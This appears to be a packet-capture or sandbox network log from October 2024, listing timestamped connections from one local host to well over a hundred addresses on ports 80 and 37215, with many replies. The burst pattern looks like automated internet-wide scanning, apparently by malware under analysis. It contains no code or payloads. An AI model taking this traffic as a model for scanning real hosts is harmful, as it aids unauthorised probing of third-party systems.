Oct 29, 2024 20:52:38.012797117 CET	56342	37215	192.168.2.13	197.203.244.146
Oct 29, 2024 20:52:38.012797117 CET	56342	37215	192.168.2.13	197.211.18.190
Oct 29, 2024 20:52:38.012797117 CET	56342	37215	192.168.2.13	197.157.32.107
Oct 29, 2024 20:52:38.031337976 CET	42884	37215	192.168.2.13	197.247.176.62
Oct 29, 2024 20:52:38.035535097 CET	56350	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:38.035686016 CET	56350	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:38.035702944 CET	56350	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:38.035707951 CET	56350	80	192.168.2.13	95.219.59.109
Oct 29, 2024 20:52:38.035716057 CET	56350	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:38.035746098 CET	56350	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:38.035758972 CET	56350	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:38.035778046 CET	56350	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:38.035855055 CET	56350	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:38.035887957 CET	56350	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:38.035938978 CET	56350	80	192.168.2.13	95.76.201.9
Oct 29, 2024 20:52:38.035953045 CET	56350	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:38.035973072 CET	56350	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:38.035991907 CET	56350	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:38.036039114 CET	56350	80	192.168.2.13	95.182.169.246
Oct 29, 2024 20:52:38.036041975 CET	56350	80	192.168.2.13	95.142.94.92
Oct 29, 2024 20:52:38.036053896 CET	56350	80	192.168.2.13	95.112.141.165
Oct 29, 2024 20:52:38.036087036 CET	56350	80	192.168.2.13	95.174.148.40
Oct 29, 2024 20:52:38.036098957 CET	56350	80	192.168.2.13	95.181.142.151
Oct 29, 2024 20:52:38.036135912 CET	56350	80	192.168.2.13	95.40.235.38
Oct 29, 2024 20:52:38.036139965 CET	56350	80	192.168.2.13	95.211.54.78
Oct 29, 2024 20:52:38.036154032 CET	56350	80	192.168.2.13	95.86.81.224
Oct 29, 2024 20:52:38.036178112 CET	56350	80	192.168.2.13	95.255.74.14
Oct 29, 2024 20:52:38.036210060 CET	56350	80	192.168.2.13	95.160.174.232
Oct 29, 2024 20:52:38.036216021 CET	56350	80	192.168.2.13	95.47.14.229
Oct 29, 2024 20:52:38.036261082 CET	56350	80	192.168.2.13	95.6.43.146
Oct 29, 2024 20:52:38.036262035 CET	56350	80	192.168.2.13	95.91.140.190
Oct 29, 2024 20:52:38.036297083 CET	56350	80	192.168.2.13	95.1.92.165
Oct 29, 2024 20:52:38.036317110 CET	56350	80	192.168.2.13	95.18.234.42
Oct 29, 2024 20:52:38.036336899 CET	56350	80	192.168.2.13	95.66.73.134
Oct 29, 2024 20:52:38.036340952 CET	56350	80	192.168.2.13	95.196.128.235
Oct 29, 2024 20:52:38.036367893 CET	56350	80	192.168.2.13	95.136.117.15
Oct 29, 2024 20:52:38.036386013 CET	56350	80	192.168.2.13	95.56.29.111
Oct 29, 2024 20:52:38.036402941 CET	56350	80	192.168.2.13	95.47.64.52
Oct 29, 2024 20:52:38.036411047 CET	56350	80	192.168.2.13	95.149.138.4
Oct 29, 2024 20:52:38.036458969 CET	56350	80	192.168.2.13	95.184.197.135
Oct 29, 2024 20:52:38.036482096 CET	56350	80	192.168.2.13	95.168.167.177
Oct 29, 2024 20:52:38.036505938 CET	56350	80	192.168.2.13	95.224.150.61
Oct 29, 2024 20:52:38.036505938 CET	56350	80	192.168.2.13	95.8.60.229
Oct 29, 2024 20:52:38.036540985 CET	56350	80	192.168.2.13	95.13.76.244
Oct 29, 2024 20:52:38.036573887 CET	56350	80	192.168.2.13	95.94.61.60
Oct 29, 2024 20:52:38.036621094 CET	56350	80	192.168.2.13	95.78.27.219
Oct 29, 2024 20:52:38.036621094 CET	56350	80	192.168.2.13	95.51.47.133
Oct 29, 2024 20:52:38.036679029 CET	56350	80	192.168.2.13	95.113.141.135
Oct 29, 2024 20:52:38.036689043 CET	56350	80	192.168.2.13	95.211.85.186
Oct 29, 2024 20:52:38.036747932 CET	56350	80	192.168.2.13	95.52.84.234
Oct 29, 2024 20:52:38.036788940 CET	37215	42884	197.247.176.62	192.168.2.13
Oct 29, 2024 20:52:38.036794901 CET	56350	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:38.036806107 CET	56350	80	192.168.2.13	95.150.58.37
Oct 29, 2024 20:52:38.036809921 CET	56350	80	192.168.2.13	95.216.253.47
Oct 29, 2024 20:52:38.036843061 CET	56350	80	192.168.2.13	95.212.196.187
Oct 29, 2024 20:52:38.036894083 CET	56350	80	192.168.2.13	95.118.201.113
Oct 29, 2024 20:52:38.036897898 CET	42884	37215	192.168.2.13	197.247.176.62
Oct 29, 2024 20:52:38.036926985 CET	56350	80	192.168.2.13	95.140.96.244
Oct 29, 2024 20:52:38.036927938 CET	56350	80	192.168.2.13	95.83.180.131
Oct 29, 2024 20:52:38.036937952 CET	56350	80	192.168.2.13	95.53.138.91
Oct 29, 2024 20:52:38.036950111 CET	56350	80	192.168.2.13	95.88.89.13
Oct 29, 2024 20:52:38.036956072 CET	56350	80	192.168.2.13	95.142.167.112
Oct 29, 2024 20:52:38.036981106 CET	56350	80	192.168.2.13	95.115.96.42
Oct 29, 2024 20:52:38.037009954 CET	56350	80	192.168.2.13	95.87.178.60
Oct 29, 2024 20:52:38.037106037 CET	56350	80	192.168.2.13	95.38.130.248
Oct 29, 2024 20:52:38.037106037 CET	56350	80	192.168.2.13	95.79.74.6
Oct 29, 2024 20:52:38.037130117 CET	56350	80	192.168.2.13	95.75.250.246
Oct 29, 2024 20:52:38.037154913 CET	56350	80	192.168.2.13	95.23.178.190
Oct 29, 2024 20:52:38.037156105 CET	56350	80	192.168.2.13	95.48.73.95
Oct 29, 2024 20:52:38.037156105 CET	56350	80	192.168.2.13	95.96.124.119
Oct 29, 2024 20:52:38.037250996 CET	56350	80	192.168.2.13	95.242.35.144
Oct 29, 2024 20:52:38.037250996 CET	56350	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:38.037270069 CET	56350	80	192.168.2.13	95.155.246.174
Oct 29, 2024 20:52:38.037298918 CET	56350	80	192.168.2.13	95.3.212.165
Oct 29, 2024 20:52:38.037318945 CET	56350	80	192.168.2.13	95.59.25.147
Oct 29, 2024 20:52:38.037419081 CET	56350	80	192.168.2.13	95.48.146.171
Oct 29, 2024 20:52:38.037420034 CET	56350	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:38.037421942 CET	56350	80	192.168.2.13	95.49.83.230
Oct 29, 2024 20:52:38.037421942 CET	56350	80	192.168.2.13	95.9.248.252
Oct 29, 2024 20:52:38.037424088 CET	56350	80	192.168.2.13	95.14.131.55
Oct 29, 2024 20:52:38.037450075 CET	56350	80	192.168.2.13	95.0.73.43
Oct 29, 2024 20:52:38.037475109 CET	56350	80	192.168.2.13	95.160.118.225
Oct 29, 2024 20:52:38.037545919 CET	56350	80	192.168.2.13	95.127.33.33
Oct 29, 2024 20:52:38.037553072 CET	56350	80	192.168.2.13	95.80.71.92
Oct 29, 2024 20:52:38.037564993 CET	56350	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:38.037590981 CET	56350	80	192.168.2.13	95.134.243.150
Oct 29, 2024 20:52:38.037622929 CET	56350	80	192.168.2.13	95.171.104.140
Oct 29, 2024 20:52:38.037693977 CET	56350	80	192.168.2.13	95.186.207.103
Oct 29, 2024 20:52:38.037695885 CET	56350	80	192.168.2.13	95.190.195.237
Oct 29, 2024 20:52:38.037707090 CET	56350	80	192.168.2.13	95.172.97.155
Oct 29, 2024 20:52:38.037734985 CET	56350	80	192.168.2.13	95.222.47.107
Oct 29, 2024 20:52:38.037774086 CET	56350	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:38.037798882 CET	56350	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:38.037811041 CET	56350	80	192.168.2.13	95.169.103.144
Oct 29, 2024 20:52:38.037831068 CET	56350	80	192.168.2.13	95.243.39.217
Oct 29, 2024 20:52:38.037848949 CET	56350	80	192.168.2.13	95.57.187.69
Oct 29, 2024 20:52:38.037875891 CET	56350	80	192.168.2.13	95.97.67.199
Oct 29, 2024 20:52:38.037904978 CET	56350	80	192.168.2.13	95.194.101.109
Oct 29, 2024 20:52:38.037930965 CET	56350	80	192.168.2.13	95.210.35.29
Oct 29, 2024 20:52:38.037950039 CET	56350	80	192.168.2.13	95.56.103.115
Oct 29, 2024 20:52:38.037976980 CET	56350	80	192.168.2.13	95.102.220.217
Oct 29, 2024 20:52:38.038006067 CET	56350	80	192.168.2.13	95.3.175.60
Oct 29, 2024 20:52:38.038017988 CET	56350	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:38.038063049 CET	56350	80	192.168.2.13	95.208.254.182
Oct 29, 2024 20:52:38.038079977 CET	56350	80	192.168.2.13	95.45.223.185
Oct 29, 2024 20:52:38.038094044 CET	56350	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:38.038135052 CET	56350	80	192.168.2.13	95.58.44.81
Oct 29, 2024 20:52:38.038170099 CET	56350	80	192.168.2.13	95.251.43.68
Oct 29, 2024 20:52:38.038228989 CET	56350	80	192.168.2.13	95.26.210.214
Oct 29, 2024 20:52:38.038269997 CET	56350	80	192.168.2.13	95.186.132.4
Oct 29, 2024 20:52:38.038300037 CET	56350	80	192.168.2.13	95.5.107.68
Oct 29, 2024 20:52:38.038311958 CET	56350	80	192.168.2.13	95.7.135.12
Oct 29, 2024 20:52:38.038314104 CET	56350	80	192.168.2.13	95.242.209.110
Oct 29, 2024 20:52:38.038362980 CET	56350	80	192.168.2.13	95.53.92.98
Oct 29, 2024 20:52:38.038369894 CET	56350	80	192.168.2.13	95.71.146.193
Oct 29, 2024 20:52:38.038383961 CET	56350	80	192.168.2.13	95.220.207.85
Oct 29, 2024 20:52:38.038427114 CET	56350	80	192.168.2.13	95.104.66.124
Oct 29, 2024 20:52:38.038470030 CET	56350	80	192.168.2.13	95.215.188.18
Oct 29, 2024 20:52:38.038489103 CET	56350	80	192.168.2.13	95.3.243.140
Oct 29, 2024 20:52:38.038494110 CET	56350	80	192.168.2.13	95.27.92.136
Oct 29, 2024 20:52:38.038494110 CET	56350	80	192.168.2.13	95.200.110.145
Oct 29, 2024 20:52:38.038532972 CET	56350	80	192.168.2.13	95.177.202.228
Oct 29, 2024 20:52:38.038577080 CET	56350	80	192.168.2.13	95.24.207.24
Oct 29, 2024 20:52:38.038578033 CET	56350	80	192.168.2.13	95.132.107.245
Oct 29, 2024 20:52:38.038597107 CET	56350	80	192.168.2.13	95.253.138.188
Oct 29, 2024 20:52:38.038639069 CET	56350	80	192.168.2.13	95.70.163.177
Oct 29, 2024 20:52:38.038718939 CET	56350	80	192.168.2.13	95.73.87.5
Oct 29, 2024 20:52:38.038719893 CET	56350	80	192.168.2.13	95.101.23.87
Oct 29, 2024 20:52:38.038718939 CET	56350	80	192.168.2.13	95.242.171.152
Oct 29, 2024 20:52:38.038724899 CET	56350	80	192.168.2.13	95.173.147.34
Oct 29, 2024 20:52:38.038739920 CET	56350	80	192.168.2.13	95.243.78.151
Oct 29, 2024 20:52:38.038749933 CET	56350	80	192.168.2.13	95.189.111.46
Oct 29, 2024 20:52:38.038794041 CET	56350	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:38.038842916 CET	56350	80	192.168.2.13	95.59.190.183
Oct 29, 2024 20:52:38.038845062 CET	56350	80	192.168.2.13	95.113.211.136
Oct 29, 2024 20:52:38.038861036 CET	56350	80	192.168.2.13	95.94.216.191
Oct 29, 2024 20:52:38.038885117 CET	56350	80	192.168.2.13	95.217.211.36
Oct 29, 2024 20:52:38.038912058 CET	56350	80	192.168.2.13	95.190.167.82
Oct 29, 2024 20:52:38.038939953 CET	56350	80	192.168.2.13	95.146.153.33
Oct 29, 2024 20:52:38.038975954 CET	56350	80	192.168.2.13	95.30.71.215
Oct 29, 2024 20:52:38.039002895 CET	56350	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:38.039016008 CET	56350	80	192.168.2.13	95.44.243.45
Oct 29, 2024 20:52:38.039391994 CET	56350	80	192.168.2.13	95.160.206.39
Oct 29, 2024 20:52:38.039411068 CET	56350	80	192.168.2.13	95.1.117.172
Oct 29, 2024 20:52:38.039437056 CET	56350	80	192.168.2.13	95.92.51.133
Oct 29, 2024 20:52:38.039455891 CET	56350	80	192.168.2.13	95.43.60.32
Oct 29, 2024 20:52:38.039495945 CET	56350	80	192.168.2.13	95.155.166.165
Oct 29, 2024 20:52:38.039510012 CET	56350	80	192.168.2.13	95.155.120.22
Oct 29, 2024 20:52:38.039532900 CET	56350	80	192.168.2.13	95.55.192.165
Oct 29, 2024 20:52:38.039583921 CET	56350	80	192.168.2.13	95.120.142.24
Oct 29, 2024 20:52:38.039627075 CET	56350	80	192.168.2.13	95.57.20.212
Oct 29, 2024 20:52:38.039649963 CET	56350	80	192.168.2.13	95.251.4.181
Oct 29, 2024 20:52:38.039696932 CET	56350	80	192.168.2.13	95.245.67.46
Oct 29, 2024 20:52:38.039697886 CET	56350	80	192.168.2.13	95.83.231.132
Oct 29, 2024 20:52:38.039710045 CET	56350	80	192.168.2.13	95.229.136.30
Oct 29, 2024 20:52:38.039736032 CET	56350	80	192.168.2.13	95.198.166.233
Oct 29, 2024 20:52:38.039752007 CET	56350	80	192.168.2.13	95.20.82.122
Oct 29, 2024 20:52:38.039758921 CET	56350	80	192.168.2.13	95.46.198.134
Oct 29, 2024 20:52:38.039782047 CET	56350	80	192.168.2.13	95.28.96.28
Oct 29, 2024 20:52:38.039853096 CET	56350	80	192.168.2.13	95.65.35.165
Oct 29, 2024 20:52:38.039877892 CET	56350	80	192.168.2.13	95.190.16.143
Oct 29, 2024 20:52:38.039879084 CET	56350	80	192.168.2.13	95.165.249.55
Oct 29, 2024 20:52:38.039882898 CET	56350	80	192.168.2.13	95.211.188.251
Oct 29, 2024 20:52:38.039890051 CET	56350	80	192.168.2.13	95.151.110.234
Oct 29, 2024 20:52:38.039920092 CET	56350	80	192.168.2.13	95.46.62.148
Oct 29, 2024 20:52:38.039922953 CET	56350	80	192.168.2.13	95.9.219.172
Oct 29, 2024 20:52:38.040899992 CET	80	56350	95.183.176.62	192.168.2.13
Oct 29, 2024 20:52:38.040915966 CET	80	56350	95.126.222.62	192.168.2.13
Oct 29, 2024 20:52:38.040988922 CET	56350	80	192.168.2.13	95.126.222.62
Oct 29, 2024 20:52:38.041021109 CET	56350	80	192.168.2.13	95.183.176.62
Oct 29, 2024 20:52:38.041398048 CET	80	56350	95.219.59.109	192.168.2.13
Oct 29, 2024 20:52:38.041404009 CET	80	56350	95.172.75.255	192.168.2.13
Oct 29, 2024 20:52:38.041415930 CET	80	56350	95.2.21.213	192.168.2.13
Oct 29, 2024 20:52:38.041423082 CET	80	56350	95.4.208.126	192.168.2.13
Oct 29, 2024 20:52:38.041435003 CET	80	56350	95.77.220.247	192.168.2.13
Oct 29, 2024 20:52:38.041440010 CET	80	56350	95.112.181.195	192.168.2.13
Oct 29, 2024 20:52:38.041450977 CET	80	56350	95.185.127.243	192.168.2.13
Oct 29, 2024 20:52:38.041455984 CET	80	56350	95.106.58.190	192.168.2.13
Oct 29, 2024 20:52:38.041465998 CET	80	56350	95.76.201.9	192.168.2.13
Oct 29, 2024 20:52:38.041471958 CET	80	56350	95.127.127.127	192.168.2.13
Oct 29, 2024 20:52:38.041476011 CET	80	56350	95.192.3.156	192.168.2.13
Oct 29, 2024 20:52:38.041485071 CET	56350	80	192.168.2.13	95.172.75.255
Oct 29, 2024 20:52:38.041486025 CET	80	56350	95.233.58.100	192.168.2.13
Oct 29, 2024 20:52:38.041485071 CET	56350	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:38.041488886 CET	56350	80	192.168.2.13	95.4.208.126
Oct 29, 2024 20:52:38.041488886 CET	56350	80	192.168.2.13	95.219.59.109
Oct 29, 2024 20:52:38.041488886 CET	56350	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:38.041495085 CET	56350	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:38.041495085 CET	56350	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:38.041500092 CET	56350	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:38.041502953 CET	56350	80	192.168.2.13	95.76.201.9
Oct 29, 2024 20:52:38.041515112 CET	56350	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:38.041522026 CET	56350	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:38.041524887 CET	56350	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:38.041695118 CET	80	56350	95.182.169.246	192.168.2.13
Oct 29, 2024 20:52:38.041701078 CET	80	56350	95.142.94.92	192.168.2.13
Oct 29, 2024 20:52:38.041711092 CET	80	56350	95.112.141.165	192.168.2.13
Oct 29, 2024 20:52:38.041716099 CET	80	56350	95.174.148.40	192.168.2.13
Oct 29, 2024 20:52:38.041723967 CET	80	56350	95.181.142.151	192.168.2.13
Oct 29, 2024 20:52:38.041728973 CET	80	56350	95.40.235.38	192.168.2.13
Oct 29, 2024 20:52:38.041733027 CET	80	56350	95.211.54.78	192.168.2.13
Oct 29, 2024 20:52:38.041738033 CET	80	56350	95.86.81.224	192.168.2.13
Oct 29, 2024 20:52:38.041738987 CET	56350	80	192.168.2.13	95.142.94.92
Oct 29, 2024 20:52:38.041743040 CET	80	56350	95.255.74.14	192.168.2.13
Oct 29, 2024 20:52:38.041744947 CET	56350	80	192.168.2.13	95.182.169.246
Oct 29, 2024 20:52:38.041748047 CET	80	56350	95.160.174.232	192.168.2.13
Oct 29, 2024 20:52:38.041757107 CET	56350	80	192.168.2.13	95.40.235.38
Oct 29, 2024 20:52:38.041757107 CET	80	56350	95.47.14.229	192.168.2.13
Oct 29, 2024 20:52:38.041771889 CET	56350	80	192.168.2.13	95.112.141.165
Oct 29, 2024 20:52:38.041780949 CET	56350	80	192.168.2.13	95.181.142.151
Oct 29, 2024 20:52:38.041781902 CET	56350	80	192.168.2.13	95.174.148.40
Oct 29, 2024 20:52:38.041781902 CET	56350	80	192.168.2.13	95.86.81.224
Oct 29, 2024 20:52:38.041796923 CET	56350	80	192.168.2.13	95.160.174.232
Oct 29, 2024 20:52:38.041798115 CET	56350	80	192.168.2.13	95.47.14.229
Oct 29, 2024 20:52:38.041804075 CET	56350	80	192.168.2.13	95.211.54.78
Oct 29, 2024 20:52:38.041809082 CET	56350	80	192.168.2.13	95.255.74.14
Oct 29, 2024 20:52:38.041951895 CET	80	56350	95.91.140.190	192.168.2.13
Oct 29, 2024 20:52:38.041965961 CET	80	56350	95.6.43.146	192.168.2.13
Oct 29, 2024 20:52:38.041970968 CET	80	56350	95.1.92.165	192.168.2.13
Oct 29, 2024 20:52:38.041975975 CET	80	56350	95.18.234.42	192.168.2.13
Oct 29, 2024 20:52:38.041987896 CET	80	56350	95.66.73.134	192.168.2.13
Oct 29, 2024 20:52:38.041992903 CET	80	56350	95.196.128.235	192.168.2.13
Oct 29, 2024 20:52:38.042013884 CET	80	56350	95.136.117.15	192.168.2.13
Oct 29, 2024 20:52:38.042018890 CET	80	56350	95.56.29.111	192.168.2.13
Oct 29, 2024 20:52:38.042027950 CET	80	56350	95.47.64.52	192.168.2.13
Oct 29, 2024 20:52:38.042033911 CET	80	56350	95.149.138.4	192.168.2.13
Oct 29, 2024 20:52:38.042037964 CET	56350	80	192.168.2.13	95.91.140.190
Oct 29, 2024 20:52:38.042038918 CET	56350	80	192.168.2.13	95.196.128.235
Oct 29, 2024 20:52:38.042046070 CET	80	56350	95.184.197.135	192.168.2.13
Oct 29, 2024 20:52:38.042051077 CET	80	56350	95.168.167.177	192.168.2.13
Oct 29, 2024 20:52:38.042061090 CET	80	56350	95.224.150.61	192.168.2.13
Oct 29, 2024 20:52:38.042064905 CET	80	56350	95.8.60.229	192.168.2.13
Oct 29, 2024 20:52:38.042064905 CET	56350	80	192.168.2.13	95.6.43.146
Oct 29, 2024 20:52:38.042073965 CET	80	56350	95.13.76.244	192.168.2.13
Oct 29, 2024 20:52:38.042078972 CET	80	56350	95.94.61.60	192.168.2.13
Oct 29, 2024 20:52:38.042079926 CET	56350	80	192.168.2.13	95.18.234.42
Oct 29, 2024 20:52:38.042079926 CET	56350	80	192.168.2.13	95.1.92.165
Oct 29, 2024 20:52:38.042079926 CET	56350	80	192.168.2.13	95.136.117.15
Oct 29, 2024 20:52:38.042085886 CET	56350	80	192.168.2.13	95.184.197.135
Oct 29, 2024 20:52:38.042090893 CET	56350	80	192.168.2.13	95.56.29.111
Oct 29, 2024 20:52:38.042092085 CET	56350	80	192.168.2.13	95.47.64.52
Oct 29, 2024 20:52:38.042093039 CET	56350	80	192.168.2.13	95.66.73.134
Oct 29, 2024 20:52:38.042095900 CET	56350	80	192.168.2.13	95.224.150.61
Oct 29, 2024 20:52:38.042093039 CET	56350	80	192.168.2.13	95.149.138.4
Oct 29, 2024 20:52:38.042092085 CET	56350	80	192.168.2.13	95.168.167.177
Oct 29, 2024 20:52:38.042093039 CET	56350	80	192.168.2.13	95.8.60.229
Oct 29, 2024 20:52:38.042118073 CET	56350	80	192.168.2.13	95.13.76.244
Oct 29, 2024 20:52:38.042133093 CET	56350	80	192.168.2.13	95.94.61.60
Oct 29, 2024 20:52:38.042166948 CET	80	56350	95.51.47.133	192.168.2.13
Oct 29, 2024 20:52:38.042172909 CET	80	56350	95.78.27.219	192.168.2.13
Oct 29, 2024 20:52:38.042181969 CET	80	56350	95.113.141.135	192.168.2.13
Oct 29, 2024 20:52:38.042193890 CET	80	56350	95.211.85.186	192.168.2.13
Oct 29, 2024 20:52:38.042201996 CET	80	56350	95.52.84.234	192.168.2.13
Oct 29, 2024 20:52:38.042212963 CET	80	56350	95.5.24.82	192.168.2.13
Oct 29, 2024 20:52:38.042215109 CET	56350	80	192.168.2.13	95.78.27.219
Oct 29, 2024 20:52:38.042217016 CET	56350	80	192.168.2.13	95.51.47.133
Oct 29, 2024 20:52:38.042217016 CET	56350	80	192.168.2.13	95.113.141.135
Oct 29, 2024 20:52:38.042217970 CET	80	56350	95.150.58.37	192.168.2.13
Oct 29, 2024 20:52:38.042236090 CET	80	56350	95.216.253.47	192.168.2.13
Oct 29, 2024 20:52:38.042269945 CET	56350	80	192.168.2.13	95.52.84.234
Oct 29, 2024 20:52:38.042269945 CET	56350	80	192.168.2.13	95.150.58.37
Oct 29, 2024 20:52:38.042270899 CET	56350	80	192.168.2.13	95.211.85.186
Oct 29, 2024 20:52:38.042270899 CET	56350	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:38.042279005 CET	56350	80	192.168.2.13	95.216.253.47
Oct 29, 2024 20:52:38.042329073 CET	80	56350	95.212.196.187	192.168.2.13
Oct 29, 2024 20:52:38.042335987 CET	80	56350	95.118.201.113	192.168.2.13
Oct 29, 2024 20:52:38.042340994 CET	80	56350	95.140.96.244	192.168.2.13
Oct 29, 2024 20:52:38.042371988 CET	56350	80	192.168.2.13	95.212.196.187
Oct 29, 2024 20:52:38.042373896 CET	56350	80	192.168.2.13	95.140.96.244
Oct 29, 2024 20:52:38.042377949 CET	56350	80	192.168.2.13	95.118.201.113
Oct 29, 2024 20:52:38.042382956 CET	80	56350	95.83.180.131	192.168.2.13
Oct 29, 2024 20:52:38.042387962 CET	80	56350	95.53.138.91	192.168.2.13
Oct 29, 2024 20:52:38.042392969 CET	80	56350	95.88.89.13	192.168.2.13
Oct 29, 2024 20:52:38.042402029 CET	80	56350	95.142.167.112	192.168.2.13
Oct 29, 2024 20:52:38.042471886 CET	56350	80	192.168.2.13	95.83.180.131
Oct 29, 2024 20:52:38.042479992 CET	56350	80	192.168.2.13	95.142.167.112
Oct 29, 2024 20:52:38.042498112 CET	56350	80	192.168.2.13	95.53.138.91
Oct 29, 2024 20:52:38.042500973 CET	56350	80	192.168.2.13	95.88.89.13
Oct 29, 2024 20:52:38.042558908 CET	80	56350	95.115.96.42	192.168.2.13
Oct 29, 2024 20:52:38.042581081 CET	80	56350	95.87.178.60	192.168.2.13
Oct 29, 2024 20:52:38.042591095 CET	80	56350	95.38.130.248	192.168.2.13
Oct 29, 2024 20:52:38.042594910 CET	80	56350	95.79.74.6	192.168.2.13
Oct 29, 2024 20:52:38.042603970 CET	80	56350	95.75.250.246	192.168.2.13
Oct 29, 2024 20:52:38.042610884 CET	80	56350	95.23.178.190	192.168.2.13
Oct 29, 2024 20:52:38.042614937 CET	80	56350	95.48.73.95	192.168.2.13
Oct 29, 2024 20:52:38.042622089 CET	56350	80	192.168.2.13	95.115.96.42
Oct 29, 2024 20:52:38.042627096 CET	56350	80	192.168.2.13	95.87.178.60
Oct 29, 2024 20:52:38.042632103 CET	56350	80	192.168.2.13	95.38.130.248
Oct 29, 2024 20:52:38.042632103 CET	56350	80	192.168.2.13	95.79.74.6
Oct 29, 2024 20:52:38.042639971 CET	56350	80	192.168.2.13	95.75.250.246
Oct 29, 2024 20:52:38.042646885 CET	56350	80	192.168.2.13	95.23.178.190
Oct 29, 2024 20:52:38.042658091 CET	80	56350	95.96.124.119	192.168.2.13
Oct 29, 2024 20:52:38.042669058 CET	80	56350	95.242.35.144	192.168.2.13
Oct 29, 2024 20:52:38.042673111 CET	80	56350	95.86.195.249	192.168.2.13
Oct 29, 2024 20:52:38.042675018 CET	56350	80	192.168.2.13	95.48.73.95
Oct 29, 2024 20:52:38.042681932 CET	80	56350	95.155.246.174	192.168.2.13
Oct 29, 2024 20:52:38.042762995 CET	56350	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:38.042781115 CET	56350	80	192.168.2.13	95.242.35.144
Oct 29, 2024 20:52:38.042781115 CET	56350	80	192.168.2.13	95.96.124.119
Oct 29, 2024 20:52:38.042781115 CET	56350	80	192.168.2.13	95.155.246.174
Oct 29, 2024 20:52:38.042813063 CET	80	56350	95.3.212.165	192.168.2.13
Oct 29, 2024 20:52:38.042818069 CET	80	56350	95.59.25.147	192.168.2.13
Oct 29, 2024 20:52:38.042828083 CET	80	56350	95.48.146.171	192.168.2.13
Oct 29, 2024 20:52:38.042833090 CET	80	56350	95.13.26.120	192.168.2.13
Oct 29, 2024 20:52:38.042864084 CET	56350	80	192.168.2.13	95.48.146.171
Oct 29, 2024 20:52:38.042865038 CET	56350	80	192.168.2.13	95.59.25.147
Oct 29, 2024 20:52:38.042865038 CET	56350	80	192.168.2.13	95.3.212.165
Oct 29, 2024 20:52:38.042874098 CET	56350	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:38.042876959 CET	80	56350	95.49.83.230	192.168.2.13
Oct 29, 2024 20:52:38.042937994 CET	80	56350	95.14.131.55	192.168.2.13
Oct 29, 2024 20:52:38.042962074 CET	56350	80	192.168.2.13	95.49.83.230
Oct 29, 2024 20:52:38.042978048 CET	56350	80	192.168.2.13	95.14.131.55
Oct 29, 2024 20:52:38.042994022 CET	80	56350	95.9.248.252	192.168.2.13
Oct 29, 2024 20:52:38.043004990 CET	80	56350	95.0.73.43	192.168.2.13
Oct 29, 2024 20:52:38.043009043 CET	80	56350	95.160.118.225	192.168.2.13
Oct 29, 2024 20:52:38.043018103 CET	80	56350	95.127.33.33	192.168.2.13
Oct 29, 2024 20:52:38.043021917 CET	80	56350	95.80.71.92	192.168.2.13
Oct 29, 2024 20:52:38.043036938 CET	56350	80	192.168.2.13	95.9.248.252
Oct 29, 2024 20:52:38.043042898 CET	56350	80	192.168.2.13	95.0.73.43
Oct 29, 2024 20:52:38.043057919 CET	56350	80	192.168.2.13	95.160.118.225
Oct 29, 2024 20:52:38.043057919 CET	56350	80	192.168.2.13	95.127.33.33
Oct 29, 2024 20:52:38.043057919 CET	56350	80	192.168.2.13	95.80.71.92
Oct 29, 2024 20:52:38.043191910 CET	80	56350	95.23.233.114	192.168.2.13
Oct 29, 2024 20:52:38.043198109 CET	80	56350	95.134.243.150	192.168.2.13
Oct 29, 2024 20:52:38.043207884 CET	80	56350	95.171.104.140	192.168.2.13
Oct 29, 2024 20:52:38.043241978 CET	56350	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:38.043243885 CET	56350	80	192.168.2.13	95.134.243.150
Oct 29, 2024 20:52:38.043263912 CET	56350	80	192.168.2.13	95.171.104.140
Oct 29, 2024 20:52:38.043323040 CET	80	56350	95.186.207.103	192.168.2.13
Oct 29, 2024 20:52:38.043329954 CET	80	56350	95.190.195.237	192.168.2.13
Oct 29, 2024 20:52:38.043334961 CET	80	56350	95.172.97.155	192.168.2.13
Oct 29, 2024 20:52:38.043339014 CET	80	56350	95.222.47.107	192.168.2.13
Oct 29, 2024 20:52:38.043344021 CET	80	56350	95.203.198.136	192.168.2.13
Oct 29, 2024 20:52:38.043353081 CET	80	56350	95.238.40.148	192.168.2.13
Oct 29, 2024 20:52:38.043360949 CET	56350	80	192.168.2.13	95.186.207.103
Oct 29, 2024 20:52:38.043369055 CET	80	56350	95.169.103.144	192.168.2.13
Oct 29, 2024 20:52:38.043369055 CET	56350	80	192.168.2.13	95.190.195.237
Oct 29, 2024 20:52:38.043369055 CET	56350	80	192.168.2.13	95.172.97.155
Oct 29, 2024 20:52:38.043380976 CET	80	56350	95.243.39.217	192.168.2.13
Oct 29, 2024 20:52:38.043382883 CET	56350	80	192.168.2.13	95.222.47.107
